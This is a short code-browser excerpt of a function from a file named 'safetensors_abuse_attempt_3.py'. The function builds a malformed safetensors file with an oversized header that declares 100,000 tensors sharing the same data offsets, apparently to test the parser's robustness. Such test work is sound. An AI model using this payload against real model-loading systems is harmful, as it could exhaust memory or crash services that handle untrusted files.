def create_payload()

in attacks/safetensors_abuse_attempt_3.py [0:0]

• 11 lines of code
• 2 McCabe index (conditional complexity)

def create_payload():
    shape = [200, 200]
    n = shape[0] * shape[1] * 4

    metadata = {f"weight_{i}": {"dtype": "F32", "shape": shape, "data_offsets": [0, n]} for i in range(1000 * 100)}

    binary = json.dumps(metadata).encode("utf-8")
    n = len(binary)
    n_header = n.to_bytes(8, "little")

    with open(filename, "wb") as f:
        f.write(n_header)
        f.write(binary)
        f.write(b"\0" * n)